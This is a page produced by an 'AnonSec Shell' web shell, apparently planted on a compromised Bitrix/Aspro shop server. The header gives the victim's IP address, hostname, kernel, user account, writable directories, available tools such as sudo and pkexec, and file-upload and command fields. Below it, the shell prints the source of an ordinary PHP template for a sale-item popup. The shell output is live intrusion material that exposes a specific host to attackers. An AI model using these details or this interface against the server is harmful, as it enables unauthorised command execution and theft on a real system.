AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.141.29.103
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/ajax/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/ajax/fast_view_sale.php
<?define("STATISTIC_SKIP_ACTIVITY_CHECK", "true");?>
<?require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");?>
<?if(!$GLOBALS['bMobileForm']):?>
	<a href="#" class="close jqmClose"><?=CMax::showIconSvg('', SITE_TEMPLATE_PATH.'/images/svg/Close.svg')?></a>
<?endif;?>
<?
$context = \Bitrix\Main\Context::getCurrent();
$request = $context->getRequest();
?>
<div class="form popup-text-info">
	<?if($request['iblock_id'] && $request['id']):?>
		<?if(\Bitrix\Main\Loader::includeModule('aspro.max'))
		{
			$arFilter = array("IBLOCK_ID" => $request['iblock_id'], "ACTIVE"=>"Y", "ID" => $request["id"]);
			$arSelect = array("ID", "NAME", "DETAIL_TEXT", "PREVIEW_TEXT", "DETAIL_PAGE_URL", "ACTIVE_TO", "PROPERTY_PERIOD", "PROPERTY_SALE_NUMBER");
			$arItem = CMaxCache::CIBLockElement_GetList(array('CACHE' => array("TAG" => CMaxCache::GetIBlockCacheTag($request['iblock_id']), "MULTI" => "N")), $arFilter, false, false, $arSelect);
		}?>
		<?if($arItem):?>
			<div class="popup-text-info__title font_exlg"><?=$arItem["NAME"];?></div>
			<div class="popup-text-info__text">
				<?// date active period?>
				<?if($arItem['ACTIVE_TO'] || $arItem['PROPERTY_PERIOD_VALUE']):?>
					<div class="period-block popup-text-info__period muted ncolor <?=($arItem['ACTIVE_TO'] ? 'red' : '');?>">
						<?if($arItem['PROPERTY_SALE_NUMBER_VALUE'] || $arItem['ACTIVE_TO']):?>
							<div class="info-sticker-block static popup-text-info__timer">
								<?if($arItem['PROPERTY_SALE_NUMBER_VALUE']):?>
									<div class="sale-text font_sxs rounded2"><?=$arItem['PROPERTY_SALE_NUMBER_VALUE'];?></div>
								<?endif;?>
								<?if($arItem['ACTIVE_TO']):?>
									<?\Aspro\Functions\CAsproMax::showDiscountCounter(0, $arItem, array(), array(), '', 'compact red');?>
								<?endif;?>
							</div>
						<?endif;?>
						<div class="popup-text-info__date font_xs">
							<?=CMax::showIconSvg("sale", SITE_TEMPLATE_PATH.'/images/svg/icon_discount.svg', '', '', true, false);?>
							<?if(strlen($arItem['PROPERTY_PERIOD_VALUE'])):?>
								<span class="date"><?=$arItem['PROPERTY_PERIOD_VALUE']?></span>
							<?else:?>
								<span class="date">
									<?=CIBlockFormatProperties::DateFormat("j F Y", MakeTimeStamp($arItem["ACTIVE_TO"], CSite::GetDateFormat()))?></span>
							<?endif;?>
						</div>
					</div>
				<?endif;?>

				<?$obParser = new CTextParser;?>
				<?=$obParser->html_cut($arItem["DETAIL_TEXT"], 500);?>

				<div class="popup-text-info__btn">
					<a class="btn btn-default btn-lg" href="<?=$arItem["DETAIL_PAGE_URL"];?>"><?=\Bitrix\Main\Localization\Loc::getMessage("MORE_TEXT_LINK");?></a>
				</div>
			</div>
			<script>
				initCountdown();
			</script>
		<?endif;?>
	<?else:?>
		ERROR
	<?endif;?>
</div>

Anon7 - 2022
AnonSec Team